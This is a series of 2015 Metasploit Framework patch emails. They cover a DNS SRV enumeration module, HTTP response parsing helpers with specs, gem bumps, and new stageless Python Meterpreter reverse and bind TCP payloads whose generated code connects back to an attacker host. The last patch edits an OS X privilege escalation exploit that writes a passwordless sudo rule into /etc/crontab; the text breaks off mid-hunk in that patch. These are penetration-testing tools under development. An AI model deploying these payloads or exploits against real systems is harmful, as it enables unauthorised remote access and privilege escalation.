preserve the fqdn query. Ps : I'm not very familiar with the code and patch rules for modules. Thank you to excuse my eventual errors. --- modules/auxiliary/gather/dns_srv_enum.rb | 125 +++++++++++++++++++---- 1 file changed, 107 insertions(+), 18 deletions(-) diff --git a/modules/auxiliary/gather/dns_srv_enum.rb b/modules/auxiliary/gather/dns_srv_enum.rb index c844951c6f..2ef6be41eb 100644 --- a/modules/auxiliary/gather/dns_srv_enum.rb +++ b/modules/auxiliary/gather/dns_srv_enum.rb @@ -1,6 +1,21 @@ ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework +# +# patch 20150915 by fraf : +# - Split record srvrcd one entry by line for readability. +# - Add record for Default-First-Site-Name : +# (according to https://technet.microsoft.com/en-us/library/cc759550%28v=ws.10%29.aspx) +# '_gc._tcp.Default-First-Site-Name._sites.', +# '_kerberos._tcp.Default-First-Site-Name._sites.', +# '_kerberos.tcp.Default-First-Site-Name._sites.dc._msdcs.', +# '_ldap._tcp.Default-First-Site-Name._sites.', +# '_ldap._tcp.Default-First-Site-Name._sites.dc._msdcs.', +# '_ldap._tcp.Default-First-Site-Name._sites.gc._msdcs.', +# - Remove double entry '_kerberos.tcp.dc._msdcs.' +# - Add fqdn query in logs. +# - Add report_note to store and preserve the fqdn query. +# ## require 'msf/core' @@ -20,14 +35,18 @@ class Metasploit3 < Msf::Auxiliary all the available name servers for the given domain the SOA and NS records are queried. In order to convert from domain names to IP addresses queries for A and AAAA (IPv6) records are used. + Especially for active directory, it is possible to specify sites. }, - 'Author' => [ 'Carlos Perez ' ], + 'Author' => [ 'Carlos Perez ', # First and main. + 'Fabrice RAFART' # patch 20150915 (mainly change for AD and report). + ], 'License' => BSD_LICENSE )) register_options( [ OptString.new('DOMAIN', [ true, "The target domain name."]), + OptString.new('SITES', [ false, "The active directory sites names to test (separate by comma)."]), OptBool.new( 'ALL_NS', [ false, "Run against all name servers for the given domain.",false]) ], self.class) @@ -61,9 +80,10 @@ class Metasploit3 < Msf::Auxiliary records =records + srvqry(datastore['DOMAIN']) end end + records.uniq! records.each do |r| - print_good("Host: #{r[:host]} IP: #{r[:address].to_s} Service: #{r[:service]} Protocol: #{r[:proto]} Port: #{r[:port]}") + print_good("Host: #{r[:host]} IP: #{r[:address].to_s} Service: #{r[:service]} Protocol: #{r[:proto]} Port: #{r[:port]} Query: #{r[:query]}") report_host( :host => r[:address].to_s, :name => r[:host] @@ -75,6 +95,13 @@ class Metasploit3 < Msf::Auxiliary :name => r[:service], :host_name => r[:host] ) + report_note( + :type => "SRV record", + :host => r[:address].to_s, + :port => r[:port].to_i, + :proto => r[:proto], + :data => r[:query] + ) end end @@ -107,33 +134,94 @@ class Metasploit3 < Msf::Auxiliary results = [] # Most common SRV Records srvrcd = [ - '_gc._tcp.', '_kerberos._tcp.', '_kerberos._udp.', '_ldap._tcp.', - '_test._tcp.', '_sips._tcp.', '_sip._udp.', '_sip._tcp.', '_aix._tcp.', - '_aix._tcp.', '_finger._tcp.', '_ftp._tcp.', '_http._tcp.', '_nntp._tcp.', - '_telnet._tcp.', '_whois._tcp.', '_h323cs._tcp.', '_h323cs._udp.', - '_h323be._tcp.', '_h323be._udp.', '_h323ls._tcp.', - '_h323ls._udp.', '_sipinternal._tcp.', '_sipinternaltls._tcp.', - '_sip._tls.', '_sipfederationtls._tcp.', '_jabber._tcp.', - '_xmpp-server._tcp.', '_xmpp-client._tcp.', '_imap.tcp.', - '_certificates._tcp.', '_crls._tcp.', '_pgpkeys._tcp.', - '_pgprevokations._tcp.', '_cmp._tcp.', '_svcp._tcp.', '_crl._tcp.', - '_ocsp._tcp.', '_PKIXREP._tcp.', '_smtp._tcp.', '_hkp._tcp.', - '_hkps._tcp.', '_jabber._udp.','_xmpp-server._udp.', '_xmpp-client._udp.', - '_jabber-client._tcp.', '_jabber-client._udp.','_kerberos.tcp.dc._msdcs.', - '_ldap._tcp.ForestDNSZones.', '_ldap._tcp.dc._msdcs.', '_ldap._tcp.pdc._msdcs.', - '_ldap._tcp.gc._msdcs.','_kerberos._tcp.dc._msdcs.','_kpasswd._tcp.','_kpasswd._udp.' + '_aix._tcp.', + '_aix._tcp.', + '_certificates._tcp.', + '_cmp._tcp.', + '_crl._tcp.', + '_crls._tcp.', + '_finger._tcp.', + '_ftp._tcp.', + '_gc._tcp.', + '_gc._tcp.Default-First-Site-Name._sites.', + '_h323be._tcp.', + '_h323be._udp.', + '_h323cs._tcp.', + '_h323cs._udp.', + '_h323ls._tcp.', + '_h323ls._udp.', + '_hkp._tcp.', + '_hkps._tcp.', + '_http._tcp.', + '_imap.tcp.', + '_jabber-client._tcp.', + '_jabber-client._udp.', + '_jabber._tcp.', + '_jabber._udp.', + '_kerberos._tcp.', + '_kerberos._tcp.dc._msdcs.', + '_kerberos._tcp.Default-First-Site-Name._sites.', + '_kerberos._udp.', + '_kerberos.tcp.Default-First-Site-Name._sites.dc._msdcs.', + '_kpasswd._tcp.', + '_kpasswd._udp.', + '_ldap._tcp.', + '_ldap._tcp.dc._msdcs.', + '_ldap._tcp.Default-First-Site-Name._sites.', + '_ldap._tcp.Default-First-Site-Name._sites.dc._msdcs.', + '_ldap._tcp.Default-First-Site-Name._sites.gc._msdcs.', + '_ldap._tcp.ForestDNSZones.', + '_ldap._tcp.gc._msdcs.', + '_ldap._tcp.pdc._msdcs.', + '_nntp._tcp.', + '_ocsp._tcp.', + '_pgpkeys._tcp.', + '_pgprevokations._tcp.', + '_PKIXREP._tcp.', + '_sip._tcp.', + '_sip._tls.', + '_sip._udp.', + '_sipfederationtls._tcp.', + '_sipinternal._tcp.', + '_sipinternaltls._tcp.', + '_sips._tcp.', + '_smtp._tcp.', + '_svcp._tcp.', + '_telnet._tcp.', + '_test._tcp.', + '_whois._tcp.', + '_xmpp-client._tcp.', + '_xmpp-client._udp.', + '_xmpp-server._tcp.', + '_xmpp-server._udp.' ] + sites = [] + if datastore['SITES'] + sites = datastore['SITES'].split(',') + end + + sites.each do |site| + srvrcd = srvrcd + [ + '_gc._tcp.'+site+'._sites.', + '_kerberos._tcp.'+site+'._sites.', + '_kerberos.tcp.'+site+'._sites.dc._msdcs.', + '_ldap._tcp.'+site+'._sites.', + '_ldap._tcp.'+site+'._sites.dc._msdcs.', + '_ldap._tcp.'+site+'._sites.gc._msdcs.' + ] + end + srvrcd.each do |srvt| trg = "#{srvt}#{dom}" begin - query = @res.query(trg , Net::DNS::SRV) next unless query query.answer.each do |srv| if Rex::Socket.dotted_ip?(srv.host) record = {} srv_info = srvt.scan(/^_(\S*)\._(tcp|udp)\./)[0] + record[:query] = "#{srvt}#{dom}" record[:host] = srv.host.gsub(/\.$/,'') record[:type] = "SRV" record[:address] = srv.host @@ -148,6 +236,7 @@ class Metasploit3 < Msf::Auxiliary get_ip(srv.host.gsub(/\.$/,'')).each do |ip| record = {} srv_info = srvt.scan(/^_(\S*)\._(tcp|udp)\./)[0] + record[:query] = "#{srvt}#{dom}" record[:host] = srv.host.gsub(/\.$/,'') record[:type] = "SRV" record[:address] = ip[:address] From 997e8005ce89be44e4db3b8c0fc467688716ad19 Mon Sep 17 00:00:00 2001 From: William Vu Date: Wed, 21 Oct 2015 13:22:09 -0500 Subject: [PATCH 0942/2172] Fix nil http_method in php_include --- modules/exploits/unix/webapp/php_include.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/exploits/unix/webapp/php_include.rb b/modules/exploits/unix/webapp/php_include.rb index 164b9b2f49..960c8387dd 100644 --- a/modules/exploits/unix/webapp/php_include.rb +++ b/modules/exploits/unix/webapp/php_include.rb @@ -121,6 +121,7 @@ class Metasploit3 < Msf::Exploit::Remote end uris.uniq! print_status("Loaded #{uris.length} URLs") + http_method = "GET" end # Very short timeout because the request may never return if we're From 12cdd786a68f2642e69a566d488fd1db812af8ca Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Wed, 21 Oct 2015 16:26:31 -0500 Subject: [PATCH 0943/2172] Add more Nokogiri and RKelly support for Rex::Proto::Http::Response These new methods allow the module writer to being able to parse HTML/XML/JSON responses properly without using regex first. --- lib/rex/proto/http/response.rb | 68 +++++++- spec/lib/rex/proto/http/response_spec.rb | 206 ++++++++++++++++++----- 2 files changed, 235 insertions(+), 39 deletions(-) diff --git a/lib/rex/proto/http/response.rb b/lib/rex/proto/http/response.rb index 406d670fc9..be01c442ce 100644 --- a/lib/rex/proto/http/response.rb +++ b/lib/rex/proto/http/response.rb @@ -2,6 +2,7 @@ require 'uri' require 'rex/proto/http' require 'nokogiri' +require 'rkelly' module Rex module Proto @@ -84,6 +85,71 @@ class Response < Packet end + # Returns a parsed HTML document. + # Instead of using regexes to parse the HTML body, you should use this and use the Nokogiri API. + # + # @see http://www.nokogiri.org/ + # @return [Nokogiri::HTML::Document] + def get_html_document + Nokogiri::HTML(self.body) + end + + # Returns a parsed XML document. + # Instead of using regexes to parse the XML body, you should use this and use the Nokogiri API. + # + # @see http://www.nokogiri.org/ + # @return [Nokogiri::XML::Document] + def get_xml_document + Nokogiri::XML(self.body) + end + + # Returns a parsed json document. + # Instead of using regexes to parse the JSON body, you should use this. + # + # @return [Hash] + def get_json_document + json = [] + + begin + json = JSON.parse(self.body) + rescue JSON::ParserError => e + elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") + end + + json + end + + # Returns the title from the HTML document. + # Instead of using a regex, normally you should call this to retrieve the title tag. + # + # @return [String] + def get_html_title + n = get_html_document + title = n.at_xpath('//title') + title ? title.text : '' + end + + # Returns meta tags. + # Instead of using a regex, you should use this to collect the meta tags. + # + # @return [Array] + def get_html_meta_elements + n = get_html_document + n.search('//meta') + end + + # Returns parsed JavaScript blocks. + # The parsed version is a RKelly object that allows you to be able do advanced parsing. + # + # @see https://github.com/tenderlove/rkelly + # @return [Array] + def get_html_scripts + n = get_html_document + rkelly = RKelly::Parser.new + n.search('//script').map { |s| rkelly.parse(s.text) } + end + + # Returns a collection of found hidden inputs # # @return [Array] An array, each element represents a form that contains a hash of found hidden inputs @@ -94,7 +160,7 @@ class Response < Packet # session_id = inputs[0]['sessionid'] # The first form's 'sessionid' hidden input def get_hidden_inputs forms = [] - noko = Nokogiri::HTML(self.body) + noko = get_html_document noko.search("form").each_entry do |form| found_inputs = {} form.search("input").each_entry do |input| diff --git a/spec/lib/rex/proto/http/response_spec.rb b/spec/lib/rex/proto/http/response_spec.rb index d5f332ca91..0039276445 100644 --- a/spec/lib/rex/proto/http/response_spec.rb +++ b/spec/lib/rex/proto/http/response_spec.rb @@ -1,8 +1,9 @@ require 'rex/proto/http/response' +require 'nokogiri' describe Rex::Proto::Http::Response do - def get_cookies_test_no_cookies + let(:get_cookies_test_no_cookies) do <<-HEREDOC.gsub(/^ {6}/, '') HTTP/1.1 200 OK Date: Fri, 26 Apr 2013 12:43:12 GMT @@ -21,7 +22,7 @@ describe Rex::Proto::Http::Response do HEREDOC end - def get_cookies_test_five_cookies + let(:get_cookies_test_five_cookies) do <<-HEREDOC.gsub(/^ {6}/, '') HTTP/1.1 200 OK Date: Fri, 26 Apr 2013 08:44:54 GMT @@ -46,7 +47,7 @@ describe Rex::Proto::Http::Response do HEREDOC end - def get_cookies_test_five_ordered_cookies + let (:get_cookies_test_five_ordered_cookies) do <<-HEREDOC.gsub(/^ {6}/, '') HTTP/1.1 200 OK Date: Fri, 26 Apr 2013 08:44:54 GMT @@ -71,7 +72,7 @@ describe Rex::Proto::Http::Response do HEREDOC end - def get_cookies_test_with_empty_cookie + let (:get_cookies_test_with_empty_cookie) do <<-HEREDOC.gsub(/^ {6}/, '') HTTP/1.1 200 OK Date: Fri, 26 Apr 2013 08:44:54 GMT @@ -96,7 +97,7 @@ describe Rex::Proto::Http::Response do HEREDOC end - def get_cookies_test_one_set_cookie_header + let (:get_cookies_test_one_set_cookie_header) do <<-HEREDOC.gsub(/^ {6}/, '') HTTP/1.1 200 OK Date: Wed, 25 Sep 2013 20:29:23 GMT @@ -116,7 +117,7 @@ describe Rex::Proto::Http::Response do HEREDOC end - def get_cookies_comma_separated + let (:get_cookies_comma_separated) do <<-HEREDOC.gsub(/^ {6}/, '') HTTP/1.1 200 OK Expires: Thu, 26 Oct 1978 00:00:00 GMT @@ -132,6 +133,64 @@ describe Rex::Proto::Http::Response do HEREDOC end + let (:html_title) do + 'TEST' + end + + let (:meta_name) do + 'META_NAME' + end + + let (:meta_content) do + 'META_CONTENT' + end + + let (:get_html_body) do + %Q| + + + #{html_title} + + + +
+ +
+
+ + + +
+ + + + | + end + + let (:get_xml_body) do + %Q| + + + Gambardella, Matthew + XML Developer's Guide + Computer + 44.95 + 2000-10-01 + An in-depth look at creating applications + with XML. + + + | + end + + let (:get_json_body) do + %Q|{ "firstName": "John" }| + end + def cookie_sanity_check(meth) resp = described_class.new() resp.parse(self.send meth) @@ -141,26 +200,10 @@ describe Rex::Proto::Http::Response do cookies.split(';').map(&:strip) end - - describe '#get_hidden_inputs' do + describe 'HTML parsing' do let(:response) do res = Rex::Proto::Http::Response.new(200, 'OK') - res.body = %Q| - - - -
- -
-
- - - -
- - - - | + res.body = get_html_body res end @@ -180,27 +223,114 @@ describe Rex::Proto::Http::Response do allow_any_instance_of(Rex::Proto::Http::Client).to receive(:connect) end - context 'when an HTML page contains two forms containing hidden inputs' do - it 'returns an array' do - expect(subject.get_hidden_inputs).to be_kind_of(Array) - end - - it 'returns hashes in the array' do - subject.get_hidden_inputs.each do |form| - expect(form).to be_kind_of(Hash) + describe '#get_html_document' do + context 'when a response is received' do + it 'returns a Nokogiri::HTML::Document object' do + expect(subject.get_html_document).to be_kind_of(Nokogiri::HTML::Document) end end + end - it 'returns \'some_value_1\' in the input_1 hidden input from the first element' do - expect(subject.get_hidden_inputs[0]['input_1']).to eq('some_value_1') + describe '#get_xml_document' do + let(:response) do + res = Rex::Proto::Http::Response.new(200, 'OK') + res.body = get_xml_body + res end - it 'returns two hidden inputs in the second element' do - expect(subject.get_hidden_inputs[1].length).to eq(2) + before(:each) do + allow_any_instance_of(Rex::Proto::Http::Client).to receive(:send_recv).with(any_args).and_return(response) end - it 'returns an empty string for the input_2 hidden input from the second element' do - expect(subject.get_hidden_inputs[1]['input_2']).to be_empty + context 'when a response is received' do + it 'returns a Nokogiri::XML::Document object' do + expect(subject.get_xml_document).to be_kind_of(Nokogiri::XML::Document) + end + end + end + + describe '#get_json_document' do + let(:response) do + res = Rex::Proto::Http::Response.new(200, 'OK') + res.body = get_json_body + res + end + + before(:each) do + allow_any_instance_of(Rex::Proto::Http::Client).to receive(:send_recv).with(any_args).and_return(response) + end + + context 'when a response is received' do + it 'returns a Hash object' do + expect(subject.get_json_document).to be_kind_of(Hash) + end + end + end + + describe '#get_html_title' do + context "when the title in the HTML is 'TEST'" do + it "returns 'TEST'" do + expect(subject.get_html_title).to eq(html_title) + end + end + end + + describe '#get_html_meta_elements' do + let(:meta_elements) do + subject.get_html_meta_elements + end + + context 'when there is a meta tag in the HTML body' do + it 'returns one Nokogiri::XML::Element object' do + expect(meta_elements.length).to eq(1) + end + + it 'returns the meta tag name' do + expect(meta_elements.first.attributes['name'].value).to eq(meta_name) + end + + it 'returns the meta tag content' do + expect(meta_elements.first.attributes['content'].value).to eq(meta_content) + end + end + end + + describe '#get_html_scripts' do + let(:script_elements) do + subject.get_html_scripts + end + + context 'when there is a script block' do + it 'returns one RKelly::Nodes::SourceElementsNode object' do + expect(script_elements.length).to eq(1) + expect(script_elements.first).to be_kind_of(RKelly::Nodes::SourceElementsNode) + end + end + end + + describe '#get_hidden_inputs' do + context 'when an HTML page contains two forms containing hidden inputs' do + it 'returns an array' do + expect(subject.get_hidden_inputs).to be_kind_of(Array) + end + + it 'returns hashes in the array' do + subject.get_hidden_inputs.each do |form| + expect(form).to be_kind_of(Hash) + end + end + + it 'returns \'some_value_1\' in the input_1 hidden input from the first element' do + expect(subject.get_hidden_inputs[0]['input_1']).to eq('some_value_1') + end + + it 'returns two hidden inputs in the second element' do + expect(subject.get_hidden_inputs[1].length).to eq(2) + end + + it 'returns an empty string for the input_2 hidden input from the second element' do + expect(subject.get_hidden_inputs[1]['input_2']).to be_empty + end end end end From 065d042ec475a5c2d5eba190c5dfaffc8ea5bfb2 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Wed, 21 Oct 2015 16:29:27 -0500 Subject: [PATCH 0944/2172] Update doc a little bit --- lib/rex/proto/http/response.rb | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/lib/rex/proto/http/response.rb b/lib/rex/proto/http/response.rb index be01c442ce..70395a36a3 100644 --- a/lib/rex/proto/http/response.rb +++ b/lib/rex/proto/http/response.rb @@ -120,7 +120,7 @@ class Response < Packet end # Returns the title from the HTML document. - # Instead of using a regex, normally you should call this to retrieve the title tag. + # You will probably want to use this if you want to grab the web app's banner in the title. # # @return [String] def get_html_title @@ -130,7 +130,8 @@ class Response < Packet end # Returns meta tags. - # Instead of using a regex, you should use this to collect the meta tags. + # You will probably want to use this the web app's version info (or other stuff) can be found + # in the metadata. # # @return [Array] def get_html_meta_elements From 867bf340ab0f6ac36626ed4a24e1c704ad07e6c3 Mon Sep 17 00:00:00 2001 From: Louis Sato Date: Wed, 21 Oct 2015 16:58:27 -0500 Subject: [PATCH 0945/2172] bump mdm to 1.2.8 MSP-13273 --- Gemfile.lock | 7 +++++-- metasploit-framework-db.gemspec | 2 +- 2 files changed, 6 insertions(+), 3 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index 32dce7e732..d21a21b736 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -25,7 +25,7 @@ PATH activerecord (>= 4.0.9, < 4.1.0) metasploit-credential (= 1.0.1) metasploit-framework (= 4.11.4) - metasploit_data_models (= 1.2.7) + metasploit_data_models (= 1.2.8) pg (>= 0.11) metasploit-framework-pcap (4.11.4) metasploit-framework (= 4.11.4) @@ -126,7 +126,7 @@ GEM activesupport (>= 4.0.9, < 4.1.0) railties (>= 4.0.9, < 4.1.0) metasploit-payloads (1.0.15) - metasploit_data_models (1.2.7) + metasploit_data_models (1.2.8) activerecord (>= 4.0.9, < 4.1.0) activesupport (>= 4.0.9, < 4.1.0) arel-helpers @@ -251,3 +251,6 @@ DEPENDENCIES simplecov timecop yard + +BUNDLED WITH + 1.10.6 diff --git a/metasploit-framework-db.gemspec b/metasploit-framework-db.gemspec index 82f98f047b..716bc74740 100644 --- a/metasploit-framework-db.gemspec +++ b/metasploit-framework-db.gemspec @@ -31,7 +31,7 @@ Gem::Specification.new do |spec| # Metasploit::Credential database models spec.add_runtime_dependency 'metasploit-credential', '1.0.1' # Database models shared between framework and Pro. - spec.add_runtime_dependency 'metasploit_data_models', '1.2.7' + spec.add_runtime_dependency 'metasploit_data_models', '1.2.8' # depend on metasploit-framewrok as the optional gems are useless with the actual code spec.add_runtime_dependency 'metasploit-framework', "= #{spec.version}" # Needed for module caching in Mdm::ModuleDetails From 7596f134078d7d1704d8c3f65c739e3e78c1a102 Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Wed, 21 Oct 2015 17:08:54 -0500 Subject: [PATCH 0946/2172] remove bundled-with message --- Gemfile.lock | 3 --- 1 file changed, 3 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index d21a21b736..17e3d82cc6 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -251,6 +251,3 @@ DEPENDENCIES simplecov timecop yard - -BUNDLED WITH - 1.10.6 From 8bb694fa5c372a620c701269766f9fc891150715 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Wed, 21 Oct 2015 18:23:04 -0400 Subject: [PATCH 0947/2172] Add stageless Python Meterpreter for reverse tcp --- .../core/payload/python/meterpreter_loader.rb | 72 +++++++++++++++++++ .../singles/python/meterpreter_reverse_tcp.rb | 44 ++++++++++++ modules/payloads/stages/python/meterpreter.rb | 30 +++----- 3 files changed, 124 insertions(+), 22 deletions(-) create mode 100644 lib/msf/core/payload/python/meterpreter_loader.rb create mode 100644 modules/payloads/singles/python/meterpreter_reverse_tcp.rb diff --git a/lib/msf/core/payload/python/meterpreter_loader.rb b/lib/msf/core/payload/python/meterpreter_loader.rb new file mode 100644 index 0000000000..3b64d384c7 --- /dev/null +++ b/lib/msf/core/payload/python/meterpreter_loader.rb @@ -0,0 +1,72 @@ +# -*- coding: binary -*- + +require 'msf/core' +require 'msf/core/payload/uuid/options' + +module Msf + +### +# +# Common module stub for ARCH_PYTHON payloads that make use of Meterpreter. +# +### + +module Payload::Python::MeterpreterLoader + + include Msf::Payload::UUID::Options + include Msf::Sessions::MeterpreterOptions + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Meterpreter & Configuration', + 'Description' => 'Run Meterpreter & the configuration stub', + 'Author' => [ 'Spencer McIntyre' ], + 'Platform' => 'python', + 'Arch' => ARCH_PYTHON, + 'Stager' => {'Payload' => ""} + )) + + register_advanced_options([ + OptBool.new('PythonMeterpreterDebug', [ true, 'Enable debugging for the Python meterpreter', false ]) + ], self.class) + end + + # Get the raw Python Meterpreter stage and patch in values based on the + # configuration + # + # @param opts [Hash] The options to use for patching the stage data. + # @option opts [String] :stageless_tcp_socket_setup Python code to execute to + # setup a tcp socket to allow use of the stage as a stageless payload. + # @option opts [String] :uuid A specific UUID to use for sessions created by + # this stage. + def stage_meterpreter(opts={}) + met = MetasploitPayloads.read('meterpreter', 'meterpreter.py') + + if datastore['PythonMeterpreterDebug'] + met = met.sub("DEBUGGING = False", "DEBUGGING = True") + end + + met.sub!('SESSION_EXPIRATION_TIMEOUT = 604800', "SESSION_EXPIRATION_TIMEOUT = #{datastore['SessionExpirationTimeout']}") + met.sub!('SESSION_COMMUNICATION_TIMEOUT = 300', "SESSION_COMMUNICATION_TIMEOUT = #{datastore['SessionCommunicationTimeout']}") + met.sub!('SESSION_RETRY_TOTAL = 3600', "SESSION_RETRY_TOTAL = #{datastore['SessionRetryTotal']}") + met.sub!('SESSION_RETRY_WAIT = 10', "SESSION_RETRY_WAIT = #{datastore['SessionRetryWait']}") + + uuid = opts[:uuid] || generate_payload_uuid + uuid = Rex::Text.to_hex(uuid.to_raw, prefix = '') + met.sub!("PAYLOAD_UUID = \'\'", "PAYLOAD_UUID = \'#{uuid}\'") + + # patch in any optional stageless tcp socket setup + unless opts[:stageless_tcp_socket_setup].nil? + socket_setup = opts[:stageless_tcp_socket_setup] + socket_setup = socket_setup.split("\n") + socket_setup.map! {|line| "\t\t#{line}\n"} + socket_setup = socket_setup.join + met.sub!("\t\t# PATCH-SETUP-STAGELESS-TCP-SOCKET #", socket_setup) + end + + met + end + +end + +end diff --git a/modules/payloads/singles/python/meterpreter_reverse_tcp.rb b/modules/payloads/singles/python/meterpreter_reverse_tcp.rb new file mode 100644 index 0000000000..f4aabdd443 --- /dev/null +++ b/modules/payloads/singles/python/meterpreter_reverse_tcp.rb @@ -0,0 +1,44 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/handler/reverse_tcp' +require 'msf/core/payload/python' +require 'msf/core/payload/python/meterpreter_loader' +require 'msf/core/payload/python/reverse_tcp' +require 'msf/base/sessions/meterpreter_python' + +module Metasploit4 + + CachedSize = 49398 + + include Msf::Payload::Single + include Msf::Payload::Python + include Msf::Payload::Python::ReverseTcp + include Msf::Payload::Python::MeterpreterLoader + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Python Meterpreter Shell, Reverse TCP Inline', + 'Description' => 'Connect back to the attacker and spawn a Meterpreter shell', + 'Author' => 'Spencer McIntyre', + 'License' => MSF_LICENSE, + 'Platform' => 'python', + 'Arch' => ARCH_PYTHON, + 'Handler' => Msf::Handler::ReverseTcp, + 'Session' => Msf::Sessions::Meterpreter_Python_Python + )) + end + + def generate_reverse_tcp(opts={}) + socket_setup = "s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n" + socket_setup << "s.connect(('#{opts[:host]}',#{opts[:port]}))\n" + opts[:stageless_tcp_socket_setup] = socket_setup + + met = stage_meterpreter(opts) + py_create_exec_stub(met) + end + +end diff --git a/modules/payloads/stages/python/meterpreter.rb b/modules/payloads/stages/python/meterpreter.rb index b201d09420..3c668327b5 100644 --- a/modules/payloads/stages/python/meterpreter.rb +++ b/modules/payloads/stages/python/meterpreter.rb @@ -5,43 +5,29 @@ require 'msf/core' require 'msf/core/handler/reverse_tcp' +require 'msf/core/payload/python' +require 'msf/core/payload/python/meterpreter_loader' require 'msf/base/sessions/meterpreter_python' require 'msf/base/sessions/meterpreter_options' -module Metasploit3 - include Msf::Sessions::MeterpreterOptions +module Metasploit4 + + include Msf::Payload::Python::MeterpreterLoader def initialize(info = {}) super(update_info(info, 'Name' => 'Python Meterpreter', - 'Description' => 'Run a meterpreter server in Python (2.5-2.7 & 3.1-3.4)', + 'Description' => 'Run a meterpreter server in Python (2.5-2.7 & 3.1-3.5)', 'Author' => 'Spencer McIntyre', 'Platform' => 'python', 'Arch' => ARCH_PYTHON, 'License' => MSF_LICENSE, 'Session' => Msf::Sessions::Meterpreter_Python_Python )) - register_advanced_options([ - OptBool.new('PythonMeterpreterDebug', [ true, 'Enable debugging for the Python meterpreter', false ]) - ], self.class) end def generate_stage(opts={}) - met = MetasploitPayloads.read('meterpreter', 'meterpreter.py') - - if datastore['PythonMeterpreterDebug'] - met = met.sub("DEBUGGING = False", "DEBUGGING = True") - end - - met.sub!('SESSION_EXPIRATION_TIMEOUT = 604800', "SESSION_EXPIRATION_TIMEOUT = #{datastore['SessionExpirationTimeout']}") - met.sub!('SESSION_COMMUNICATION_TIMEOUT = 300', "SESSION_COMMUNICATION_TIMEOUT = #{datastore['SessionCommunicationTimeout']}") - met.sub!('SESSION_RETRY_TOTAL = 3600', "SESSION_RETRY_TOTAL = #{datastore['SessionRetryTotal']}") - met.sub!('SESSION_RETRY_WAIT = 10', "SESSION_RETRY_WAIT = #{datastore['SessionRetryWait']}") - - uuid = opts[:uuid] || generate_payload_uuid - uuid = Rex::Text.to_hex(uuid.to_raw, prefix = '') - met.sub!("PAYLOAD_UUID = \'\'", "PAYLOAD_UUID = \'#{uuid}\'") - - met + stage_meterpreter(opts) end + end From 23d9efb5a35d581ff26f10bfb11754d6e76e2c10 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Wed, 21 Oct 2015 18:37:37 -0400 Subject: [PATCH 0948/2172] Add stageless Python Meterpreter for bind tcp --- .../singles/python/meterpreter_bind_tcp.rb | 46 +++++++++++++++++++ 1 file changed, 46 insertions(+) create mode 100644 modules/payloads/singles/python/meterpreter_bind_tcp.rb diff --git a/modules/payloads/singles/python/meterpreter_bind_tcp.rb b/modules/payloads/singles/python/meterpreter_bind_tcp.rb new file mode 100644 index 0000000000..bf7069cef5 --- /dev/null +++ b/modules/payloads/singles/python/meterpreter_bind_tcp.rb @@ -0,0 +1,46 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/handler/bind_tcp' +require 'msf/core/payload/python' +require 'msf/core/payload/python/meterpreter_loader' +require 'msf/core/payload/python/bind_tcp' +require 'msf/base/sessions/meterpreter_python' + +module Metasploit4 + + CachedSize = 49482 + + include Msf::Payload::Single + include Msf::Payload::Python + include Msf::Payload::Python::BindTcp + include Msf::Payload::Python::MeterpreterLoader + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Python Meterpreter Shell, Bind TCP Inline', + 'Description' => 'Connect to the victim and spawn a Meterpreter shell', + 'Author' => 'Spencer McIntyre', + 'License' => MSF_LICENSE, + 'Platform' => 'python', + 'Arch' => ARCH_PYTHON, + 'Handler' => Msf::Handler::BindTcp, + 'Session' => Msf::Sessions::Meterpreter_Python_Python + )) + end + + def generate_bind_tcp(opts={}) + socket_setup = "bind_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n" + socket_setup << "bind_sock.bind(('0.0.0.0', #{opts[:port]}))\n" + socket_setup << "bind_sock.listen(1)\n" + socket_setup << "s, address = bind_sock.accept()\n" + opts[:stageless_tcp_socket_setup] = socket_setup + + met = stage_meterpreter(opts) + py_create_exec_stub(met) + end + +end From 348a0f9e3d840e5565c7dd43a7e40a27ecfc4879 Mon Sep 17 00:00:00 2001 From: Sam H Date: Wed, 21 Oct 2015 22:53:32 -0700 Subject: [PATCH 0949/2172] Cleaned up "cleanup" method and crontab check The script now searches for the full line "ALL ALL=(ALL) NOPASSWD: ALL" written in the crontab file to ensure that it is successful rather than just "NOPASSWD". Additionally, the required argument used in the cleanup method was removed and simply turned into an instance method so it could be accessed without needing to call it with any arguments. --- modules/exploits/osx/local/rsh_libmalloc.rb | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) diff --git a/modules/exploits/osx/local/rsh_libmalloc.rb b/modules/exploits/osx/local/rsh_libmalloc.rb index 4b90ec3922..335762286f 100644 --- a/modules/exploits/osx/local/rsh_libmalloc.rb +++ b/modules/exploits/osx/local/rsh_libmalloc.rb @@ -59,9 +59,9 @@ class Metasploit4 < Msf::Exploit::Local # Check if crontab file existed already so it can be restored at cleanup if file_exist? "/etc/crontab" - crontab_original = read_file("/etc/crontab") + @crontab_original = read_file("/etc/crontab") else - crontab_original = nil + @crontab_original = nil end # Writing payload @@ -125,7 +125,7 @@ class Metasploit4 < Msf::Exploit::Local # Check whether it worked crontab = cmd_exec("cat /etc/crontab") vprint_status("Reading crontab yielded the following response: #{crontab}") - unless crontab.include? "NOPASSWD" + unless crontab.include? "ALL ALL=(ALL) NOPASSWD: ALL" vprint_error("Bad news... it did not write to the file.") fail_with(Failure::NotVulnerable, "Could not successfully write to crontab file.") end @@ -182,10 +182,12 